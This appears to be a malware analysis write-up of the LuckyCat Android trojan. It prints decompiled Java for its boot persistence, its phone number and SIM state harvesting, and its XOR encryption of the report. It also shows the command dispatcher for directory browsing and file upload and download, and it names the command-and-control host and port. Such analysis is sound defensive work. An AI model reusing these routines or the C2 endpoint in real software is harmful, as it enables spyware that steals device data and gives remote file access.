Lucky Cat is a Threat?
com.testService
. The APK file name could be AQS.apk
or testService.apk
. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:
Apart from showing a toast message
Service Start OK!
, LuckyCat does not seem to do much more:
com.testService
will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED
event:
public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver { private static final String ACTION = "android.intent.action.BOOT_COMPLETED"; public TServiceBroadcastReceiver() { } public void onReceive(Context context, Intent intent1) { ComponentName componentName; if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED")) { Intent intent2 = new Intent("android.intent.action.RUN"); Intent intent3 = intent2.setClass(context, TService); Intent intent4 = intent2.setFlags(268435456); componentName = context.startService(intent2); } } }
Whenever the device boots up, the trojan will launch its own service
TService
that will run as a process com.testService:remote
, taking 1,060 Kb out of RAM.
The trojan reads the state of the device SIM card by calling getSimState()
method, as shown below:
public String getPhoneNumber() { StringBuffer stringBuffer1; String string2; StringBuffer stringBuffer2; StringBuffer stringBuffer3; StringBuffer stringBuffer4; StringBuffer stringBuffer5; StringBuffer stringBuffer6; String string1; TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone"); stringBuffer1 = new StringBuffer(); switch (telephonyManager.getSimState()) { case 1: stringBuffer2 = stringBuffer1.append("\u65e0\u5361"); string2 = stringBuffer1.toString(); break; case 0: stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001"); string2 = stringBuffer1.toString(); break; case 4: stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501"); string2 = stringBuffer1.toString(); break; case 2: stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501"); string2 = stringBuffer1.toString(); break; case 3: stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501"); string2 = stringBuffer1.toString(); break; default: string1 = telephonyManager.getLine1Number(); break; } return string1; }
As shown in the listing above, the reported SIM card states are:
- 无卡 (No card)
- 未知状态 (Unknown state)
- 需要NetworkPIN解锁 (Need Network PIN unlock)
- 需要PIN解锁 (Require a PIN to unlock)
- 需要PUK解锁 (Need PUK to unlock)
- (The phone number string for line 1, e.g. MSISDN for a GSM phone)
greenfuns.3322.org
, port 54321
.
The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz
and 369
, and then encrypted on top with a XOR keys 0x05
and 0x27
:
public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2) { byte[] arrayOfByte1 = new byte[10240]; byte[] arrayOfByte2 = new byte[4]; Arrays.fill(arrayOfByte1, 0, 10240, 0); Arrays.fill(arrayOfByte2, 0, 4, 0); System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2); int i = 0; if (i >= paramInt2); while (true) { return; int j = i + 1; arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]); paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0]; if (j >= paramInt2) continue; i = j + 1; arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]); paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1]; if (i < paramInt2) break; } }
As soon as the trojan submits the report to command-and-control server, it receives back response from it. The response is checked to make sure it starts with the marker
ejsi2ksz
. It is then decrypted by calling the same symmetrical function encryptKey()
.
The decrypted response is then parsed to see if it contains one out of 5 remote commands:
switch { case AR_ONLINEREPORT: goto exit; case AR_REMOTESHELL: goto exit; case AR_DIRBROSOW: goto browse_directory; case AR_FILEDOWNLOAD: goto file_download; case AR_FILEUPLOAD: goto file_upload; default: goto exit; } exit: mDbgMsg("+++"); exc1(); socket2 = socket3; mDbgMsg(exc1.getMessage()); socket2.close(); mDbgMsg("socke close"); exc3(); browse_directory: i8 = 0 + 64; int j8 = readU16(array_b, i8); int k8 = i8 + 2; String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8"); Arrays.fill(array_b, 64, 10176, 0); i9 = GetDirList(string3, array_b, 64);
As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:
AR_DIRBROSOW
: directory browsing, handled byGetDirList()
AR_FILEDOWNLOAD
: file download, handled bymReadFileDataFun()
AR_FILEUPLOAD
: file upload, handled bymWriteFileDataFun()
AR_ONLINEREPORT
: 'online report' commandAR_REMOTESHELL
: remote shell execution